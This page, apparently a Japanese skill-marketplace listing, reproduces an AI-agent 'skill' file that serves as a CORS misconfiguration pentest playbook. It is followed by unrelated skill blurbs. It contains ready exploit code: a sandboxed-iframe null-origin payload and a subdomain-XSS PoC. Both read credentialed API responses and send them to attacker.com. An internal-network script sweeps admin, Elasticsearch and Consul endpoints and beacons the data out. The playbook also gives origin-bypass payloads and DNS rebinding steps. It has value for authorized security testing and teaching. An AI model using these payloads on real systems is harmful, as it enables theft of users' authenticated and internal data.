cors-cross-origin-misconfiguration
CORSの設定ミスをテストするためのプレイブック。クロスオリジンの信頼関係、認証情報付きブラウザリクエスト、オリジンのリフレクション、プリフライトポリシーの不備、認証済みAPIへのブラウザベースアクセスの分析が必要な場面で活用してください。
description の原文を見る
>- CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.
SKILL.md 本文
SKILL: CORS設定不備 — 認証オリジン、反射、および信頼境界エラー
AI LOAD INSTRUCTION: ブラウザが認証されたAPIにクロスオリジンアクセスできる場合にこのスキルを使用してください。反射されたオリジン、認証付きリクエスト、ワイルドカード信頼、パーサーの誤り、オリジン許可リストバイパスに焦点を当ててください。JSONP ハイジャックの深掘り、同一オリジンポリシーの内部、ハニーポット匿名化解除、CORS と JSONP の比較については、付属の
SCENARIOS.mdを読み込んでください。
拡張シナリオ
次の場合は SCENARIOS.md も読み込んでください:
- JSONP ハイジャック完全攻撃シナリオ — ウォータリングホール +
<script>クロスオリジンデータ盗難 - JSONP 経由のハニーポット匿名化解除 — ソーシャルプラットフォーム JSONP エンドポイントを使用した匿名訪問者の識別
- 同一オリジンポリシー深掘り — プロトコル/ホスト名/ポート定義、
document.domainサブドメイン緩和とそのセキュリティリスク - CORS と JSONP 技術比較 — メソッド、エラーハンドリング、認証情報動作、移行パス
- CORS エクスプロイトペイロード —
credentials: include付き反射オリジン、サンドボックス iframe 経由の null オリジン - デュアルサイト攻撃ラボパターン — localhost:8981 (ターゲット) + localhost:8982 (攻撃者) テスト設定
1. このスキルをいつ読み込むか
以下の場合に読み込んでください:
- レスポンスに
Access-Control-Allow-Origin、Access-Control-Allow-Credentials、またはプリフライトヘッダーが含まれている - ブラウザベースの攻撃パスが認証された API レスポンスを読む可能性がある
- JSON エンドポイントが CSRF から保護されているように見えるが、クロスオリジンから読取可能である
2. 高リスク設定不備チェック
| テーマ | チェック内容 |
|---|---|
| ワイルドカード+認証情報 | Access-Control-Allow-Origin: * 認証情報サポート、または同等の不具合動作 |
| 反射オリジン | サーバーが任意の Origin をエコーバック |
| 弱い許可リスト | サフィックス、プリフィックス、部分文字列、正規表現、または大文字小文字混合マッチングエラー |
null オリジン | サンドボックス、ファイル、またはシリアル化されたオリジンの受け入れ |
| プリフライト信頼 | オーバーブロードなメソッドおよびヘッダー |
| 内部API露出 | 管理者またはテナントデータがクロスオリジンから読取可能 |
3. クイックトリアージ
- 作成した
Originヘッダーを送信して反射を検査します。 - 認証情報ありとなしでテストします。
- 攻撃者サブドメインとパーサーエッジケースを使用して許可リストバイパスをプローブします。
- 読取可能なデータが機密情報の場合、アカウントまたはテナント影響にチェーンします。
4. 関連ルート
- セッションまたは JSON アクション悪用:
csrf cross site request forgery - OAuth トークン漏洩とコールバック結合:
oauth oidc misconfiguration - API 認証コンテキスト:
api auth and jwt abuse
5. NULL オリジンエクスプロイテーション
Origin: null が送信される仕組み
| コンテキスト | オリジンヘッダー値 |
|---|---|
サンドボックス iframe (<iframe sandbox>) | null |
data: URI スキーム | null |
file: プロトコル (ローカル HTML) | null |
| クロスオリジンリダイレクトチェーン (一部ブラウザ) | null |
opaque オリジンから blob: URL でシリアル化されたデータ | null |
エクスプロイテーション
サーバーが null をオリジン許可リストに含めるか反射する場合:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>
サンドボックス iframe は Origin: null を送信 → サーバーが null を反射 → 攻撃者が認証付きレスポンスを読み取ります。
6. サブドメイン XSS → CORS バイパスチェーン
攻撃フロー
1. api.target.com の API が *.target.com からの CORS を許可
2. いずれかのサブドメインで XSS を発見: blog.target.com, dev.target.com など
3. XSS を利用して api.target.com に認証付きリクエストを作成
4. CORS がリクエストを許可 → 攻撃者が機密 API レスポンスを読み取る
PoC (blog.target.com の XSS 経由でインジェクト)
fetch('https://api.target.com/v1/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify(data));
});
動作原理
blog.target.comはapi.target.comと 同一サイト →SameSiteクッキーが送信される- CORS 許可リストに
*.target.comが含まれる →Access-Control-Allow-Origin: https://blog.target.com - 結合: SameSite バイパス + CORS 読み取り = サブドメイン上の XSS からの完全な API アクセス
このチェーンの偵察
□ サブドメイン列挙 (amass, subfinder, crt.sh)
□ 各サブドメインを XSS でテスト (保存型、反射型、DOM)
□ API CORS がサブドメインオリジンを受け入れるかチェック
□ サブドメイン乗っ取り候補も該当
7. VARY: ORIGIN キャッシング問題
問題点
サーバーが Access-Control-Allow-Origin に Origin を反射するが、レスポンスに Vary: Origin を含めない場合、中間キャッシュ (CDN、リバースプロキシ) は異なるオリジンに同じキャッシュレスポンスを提供する可能性があります:
1. 攻撃者がリクエスト: Origin: https://attacker.com
レスポンスがキャッシュ: Access-Control-Allow-Origin: https://attacker.com
2. 被害者が同じ URL をリクエスト (Origin なし、または異なる Origin)
キャッシュがレスポンスを提供: Access-Control-Allow-Origin: https://attacker.com
→ 被害者のブラウザが attacker.com に読み取りを許可 (CORS キャッシュポイズニング)
検出
# リクエスト 1: 攻撃者オリジン付き
curl -H "Origin: https://evil.com" https://target.com/api/data -I
# リクエスト 2: 正当なオリジン付き
curl -H "Origin: https://target.com" https://target.com/api/data -I
# 比較: 両方のレスポンスに Access-Control-Allow-Origin: https://evil.com がある場合
# → キャッシュポイズニング、Vary: Origin が欠落
エクスプロイテーション
1. キャッシュをウォーム: Origin: https://attacker.com でリクエストを送信
2. 被害者が同じキャッシュ URL にアクセスするまで待機
3. キャッシュされた ACAO ヘッダーが attacker.com に読み取りを許可
4. 攻撃者ページが URL をフェッチ → キャッシュされたレスポンスを認証情報付きで読み取る
修正確認
□ レスポンスに Vary: Origin が含まれる
□ キャッシュキーに Origin ヘッダーが含まれる
□ または: Access-Control-Allow-Origin が反射されない (ハードコードされた許可リスト)
8. 正規表現バイパスパターン
オリジン検証の一般的な不具合正規表現パターン:
| 意図するパターン | 不具合 | バイパスオリジン |
|---|---|---|
^https?://.*\.target\.com$ | .* が - を含む何でもマッチ | https://attacker-target.com |
^https?://.*target\.com$ | サブドメイン後のアンカーが欠落 | https://nottarget.com、https://attacker.com/.target.com |
target\.com (部分文字列マッチ) | アンカーなし | https://attacker.com?target.com |
^https?://(.*\.)?target\.com$ | ポート制限なし | https://target.com.attacker.com:443 |
^https://[a-z]+\.target\.com$ | パスの末尾アンカーなし | N/A (ただし - または数字付きサブドメインは欠落) |
| バックトラッキング脆弱正規表現 | ReDoS | https://aaaa...aaa.target.com (CPU 枯渇) |
オリジン検証バイパスのテストペイロード
https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%2F@attacker.com
https://attacker.com#.target.com
https://attacker.com?.target.com
null
高度な: Unicode 正規化バイパス
https://target.com → https://ⓣarget.com (Unicode 見た目そっくり)
一部のオリジンバリデータは比較後に Unicode を正規化しますが、ブラウザは元の形式を送信します — またはその逆です。
9. 内部ネットワーク CORS エクスプロイテーション
シナリオ
内部のみの API (例: http://192.168.1.100:8080/admin) が以下で設定されている:
Access-Control-Allow-Origin: *
内部 API はしばしばワイルドカード CORS を使用します (「内部ユーザーのみがアクセスできる」)。
攻撃チェーン
1. 攻撃者が被害者 (内部従業員) に attacker.com へのリンクを送信
2. 攻撃者ページ JavaScript が内部 API をフェッチ:
fetch('http://192.168.1.100:8080/admin/users')
3. CORS が * を許可 → レスポンス読取可能
4. 内部データを攻撃者サーバーに流出
// attacker.com 上 — 被害者のブラウザから内部 API をターゲット
const internalAPIs = [
'http://192.168.1.1/admin/config',
'http://10.0.0.1:8080/api/users',
'http://172.16.0.1:9200/_cat/indices', // Elasticsearch
'http://localhost:8500/v1/agent/members', // Consul
];
internalAPIs.forEach(url => {
fetch(url)
.then(r => r.text())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify({url, data}));
})
.catch(() => {});
});
CORS タイミング経由のポートスキャン
Access-Control-Allow-Origin: * がなくても、攻撃者は内部サービスの可用性を推測できます:
- ポート開放: 接続確立 → CORS エラー (異なるタイミング)
- ポート閉鎖: 接続拒否 → 高速エラー
- ホストダウン: タイムアウト → 遅いエラー
DNS リバインディングと組み合わせ
1. 攻撃者が attacker.com を短い TTL で制御 (例: 0 または 1)
2. 最初の DNS 解決: attacker.com → 攻撃者の IP (悪意のある JS を提供)
3. 2 番目の DNS 解決: attacker.com → 192.168.1.100 (内部 IP)
4. ページ上の JavaScript が attacker.com/admin をフェッチ → 現在内部サーバーをヒット
5. 同一オリジンポリシーが満たされる (同じドメイン) → レスポンス読取可能
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。